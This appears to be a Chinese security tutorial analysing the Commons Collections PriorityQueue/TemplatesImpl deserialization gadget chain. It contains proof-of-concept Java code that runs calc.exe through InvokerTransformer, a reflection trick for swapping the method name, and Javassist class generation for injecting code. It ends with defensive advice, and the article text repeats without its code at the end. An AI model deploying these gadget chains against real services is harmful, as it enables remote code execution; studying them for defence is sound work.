Java反序列化漏洞-玄铁重剑之CommonsCollection(下)
字数 1236 2025-08-29 08:32:00

Java反序列化漏洞:CommonsCollections利用链分析(下)

前言

本文深入分析Apache Commons Collections反序列化漏洞的另一种利用链,重点讲解基于PriorityQueue类的攻击方式。这是"玄铁重剑"系列的第二部分,延续上篇内容,揭示CommonsCollections反序列化漏洞的更多利用技巧。

核心利用链分析

利用链概述

本次分析的执行链如下:

PriorityQueue.readObject()
-> PriorityQueue.heapify()
-> PriorityQueue.siftDown()
-> PriorityQueue.siftDownUsingComparator()
-> TransformingComparator.compare()
-> InvokerTransformer.transform()

关键类说明

  1. PriorityQueue:Java中的优先队列实现,基于堆数据结构
  2. TransformingComparator:Commons Collections中的比较器,可包装Transformer
  3. InvokerTransformer:Commons Collections中的Transformer实现,可通过反射调用方法

POC构造过程

基础调用结构

首先构造基本的TransformingComparator.compare()调用结构:

public static void main(final String[] args) throws Exception {
    runcompare();
}

public static void runcompare(){
    InvokerTransformer invokerTransformer= getInvokerTransformer();
    TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);
    Runtime runtime1 = Runtime.getRuntime();
    transformingComparator.compare(runtime1, null);
}

public static InvokerTransformer getInvokerTransformer(){
    String[] cmds = new String[]{"calc.exe"};
    InvokerTransformer invokerTransformer = new InvokerTransformer(
        "exec", 
        new Class[]{String[].class}, 
        new Object[]{cmds}
    );
    return invokerTransformer;
}

完整POC尝试

尝试构造完整的PriorityQueue利用链:

public Queue<Object> getObject(final String command) throws Exception {
    PriorityQueue queue = getPriorityQueue();
    return queue;
}

public static PriorityQueue getPriorityQueue() throws Exception {
    TransformingComparator transformingComparator = getTransformingComparator();
    PriorityQueue priorityQueue = new PriorityQueue(1, transformingComparator);
    priorityQueue.add(Runtime.getRuntime());
    return priorityQueue;
}

public static TransformingComparator getTransformingComparator(){
    InvokerTransformer invokerTransformer= getInvokerTransformer();
    TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);
    return transformingComparator;
}

public static InvokerTransformer getInvokerTransformer(){
    String[] cmds = new String[]{"calc.exe"};
    InvokerTransformer invokerTransformer = new InvokerTransformer(
        "exec", 
        new Class[]{String[].class}, 
        new Object[]{cmds}
    );
    return invokerTransformer;
}

问题发现:Runtime类不可序列化,直接使用会导致序列化失败。

解决方案:使用TemplatesImpl类

由于Runtime类不可序列化,转而使用TemplatesImpl类作为替代:

final Object templates = Gadgets.createTemplatesImpl(command);
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
queue.add(templates);
queue.add(templates);
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
return queue;

关键点

  1. 使用TemplatesImpl.newTransformer而非getTransletInstance(因为后者是private方法)
  2. 通过反射修改iMethodName字段,将初始的"toString"改为"newTransformer"

利用ClassPool生成恶意类

使用ClassPool动态生成恶意类:

public class Main {
    public static void main(String[] args){
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("net.codersec.Person");
            CtField ctField = new CtField(CtClass.intType, "name", ctClass);
            ctField.setModifiers(Modifier.PUBLIC);
            ctClass.addField(ctField);
            byte[] bytes = ctClass.toBytecode();
            FileOutputStream fileOutputStream = new FileOutputStream(new File("Person.class"));
            fileOutputStream.write(bytes);
            fileOutputStream.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

技巧

  1. 可以在构造函数中加入恶意代码
  2. 也可以通过insertAfter()在构造函数运行后执行恶意代码

替代利用链分析

除了InvokerTransformer.transform(),还可以利用InstantiateTransformer.transform()

PriorityQueue.readObject()
-> PriorityQueue.heapify()
-> PriorityQueue.siftDown()
-> PriorityQueue.siftDownUsingComparator()
-> TransformingComparator.compare()
-> InstantiateTransformer.transform()
-> com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.newInstance()
-> TemplatesImpl.getTransletInstance()
-> Class.newInstance()

特点

  1. 调用链更长更复杂
  2. 利用了TrAXFilter构造函数中调用的TemplatesImpl.getTransletInstance()

防御建议

  1. 升级Commons Collections到安全版本(3.2.2+或4.1+)
  2. 使用Java反序列化过滤器(ObjectInputFilter)
  3. 避免反序列化不可信数据
  4. 考虑使用替代的序列化框架(如JSON、Protocol Buffers等)

总结

本文详细分析了CommonsCollections反序列化漏洞的另一种利用链,重点讲解了基于PriorityQueueTemplatesImpl的攻击方式。通过动态生成恶意类、反射修改字段等技术,攻击者可以绕过Runtime不可序列化的限制,实现远程代码执行。防御此类漏洞需要综合应用多种安全措施。

Java反序列化漏洞:CommonsCollections利用链分析(下) 前言 本文深入分析Apache Commons Collections反序列化漏洞的另一种利用链,重点讲解基于 PriorityQueue 类的攻击方式。这是"玄铁重剑"系列的第二部分,延续上篇内容,揭示CommonsCollections反序列化漏洞的更多利用技巧。 核心利用链分析 利用链概述 本次分析的执行链如下: 关键类说明 PriorityQueue :Java中的优先队列实现,基于堆数据结构 TransformingComparator :Commons Collections中的比较器,可包装Transformer InvokerTransformer :Commons Collections中的Transformer实现,可通过反射调用方法 POC构造过程 基础调用结构 首先构造基本的 TransformingComparator.compare() 调用结构: 完整POC尝试 尝试构造完整的PriorityQueue利用链: 问题发现 :Runtime类不可序列化,直接使用会导致序列化失败。 解决方案:使用TemplatesImpl类 由于Runtime类不可序列化,转而使用 TemplatesImpl 类作为替代: 关键点 : 使用 TemplatesImpl.newTransformer 而非 getTransletInstance (因为后者是private方法) 通过反射修改 iMethodName 字段,将初始的"toString"改为"newTransformer" 利用ClassPool生成恶意类 使用 ClassPool 动态生成恶意类: 技巧 : 可以在构造函数中加入恶意代码 也可以通过 insertAfter() 在构造函数运行后执行恶意代码 替代利用链分析 除了 InvokerTransformer.transform() ,还可以利用 InstantiateTransformer.transform() : 特点 : 调用链更长更复杂 利用了 TrAXFilter 构造函数中调用的 TemplatesImpl.getTransletInstance() 防御建议 升级Commons Collections到安全版本(3.2.2+或4.1+) 使用Java反序列化过滤器(ObjectInputFilter) 避免反序列化不可信数据 考虑使用替代的序列化框架(如JSON、Protocol Buffers等) 总结 本文详细分析了CommonsCollections反序列化漏洞的另一种利用链,重点讲解了基于 PriorityQueue 和 TemplatesImpl 的攻击方式。通过动态生成恶意类、反射修改字段等技术,攻击者可以绕过Runtime不可序列化的限制,实现远程代码执行。防御此类漏洞需要综合应用多种安全措施。